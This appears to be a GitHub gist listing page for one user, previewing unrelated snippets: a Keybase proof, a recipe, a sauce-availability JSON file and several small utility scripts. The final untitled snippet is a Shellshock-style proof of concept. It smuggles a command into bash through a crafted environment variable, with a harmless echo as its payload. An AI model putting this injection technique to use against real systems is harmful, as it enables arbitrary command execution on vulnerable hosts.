Skip to content

Instantly share code, notes, and snippets.

@raydog
raydog / keybase.md
Created November 5, 2019 18:54
keybase.md

Keybase proof

I hereby claim:

  • I am raydog on github.
  • I am wfraydog (https://keybase.io/wfraydog) on keybase.
  • I have a public key ASCe5rGbmoDni_tSTHa6ZA8NWe0h_XC4vmb5JU5GMcn_ywo

To claim this, I am signing this object:

@raydog
raydog / meatball-recipe.md
Created July 18, 2018 20:32
Meatball recipe from Snelly

For the Sauce: 2 tablespoons olive oil 1 pound Italian Sausage 4 cloves garlic can tomato paste 1 35 oz can tomato puree 2 35 oz cans crushed tomatoes 2 cups water Salt and freshly ground pepper ground red pepper

@raydog
raydog / szechuan.json
Created October 2, 2017 03:02
JSON file of szechuan sauce availability, extracted from mcdonald's uglified app.js code
[
{
"address": "4796 Eastern Valley Road",
"city": "McCalla",
"state": "AL",
"zip": 35111,
"maplink": "",
"szechuan": true
},
{
@raydog
raydog / mov2gif.sh
Last active August 26, 2016 00:31
Converts a mov file (most video formats actually) into a reasonable gif
#!/bin/bash
if [ -z "$1" ] ; then
echo "Usage: $0 <mov_file>"
exit 1
fi
MOVFILE="$1"
GIFFILE="$(basename "$MOVFILE" .mov).gif"
@raydog
raydog / pick_best_roms.js
Created March 13, 2016 23:02
Scores ROMs based on the suffixes attached to them, and prints out ROMs that pass this test.
var colors = require('colors');
var _ = require('lodash');
const DEBUG = false;
const CUTOFF = -500;
/**
* Basic util to select the "best" ROM from the ones provided. Grouped by stuff before (, or [ chars
@raydog
raydog / distortpulse.js
Last active March 24, 2016 23:06
Creates one fucked up gif. Requires imagemagick with liblqr enabled.
#!/usr/bin/env node
var im = require('imagemagick');
var async = require('async');
var temp = require('temp').track();
var ProgressBar = require('progress');
// Constants:
var FRAMES = 100;
@raydog
raydog / rdump.go
Last active March 29, 2016 18:27
Dumps entire subreddits out of imgur into the PWD.
// rDump -- Dumps images in an Imgur sub-reddit thing
// Dependencies:
// go get github.com/PuerkitoBio/goquery
package main
import (
"encoding/json"
"flag"
@raydog
raydog / zombieRedisClient.js
Last active March 24, 2016 23:22
A RedisClient that always errors.
var redis = require('redis')
, util = require('util')
, events = require('events');
// This aims to implement enough of the stream interface to survive in the RedisClient:
function EmptyStream() {
events.EventEmitter.call(this);
}
util.inherits(EmptyStream, events.EventEmitter);
@raydog
raydog / url_check.bash
Created October 14, 2014 20:30
Will take in a file, with URLs on different lines, and will perform a HEAD request for each one, printing HTTP status code along with content length. Outputs results in Markdown
#!/bin/bash
# Will take in a file, with URLs on different lines, and will perform a HEAD request for
# each one, printing HTTP status code along with content length.
if [ $# -ne 1 ] ; then
echo "Usage: bash $0 <file_with_urls>"
exit 1
fi
#!/bin/bash
export LOL="() { true; }; echo 'this was just executed as the current user, oh no'"
bash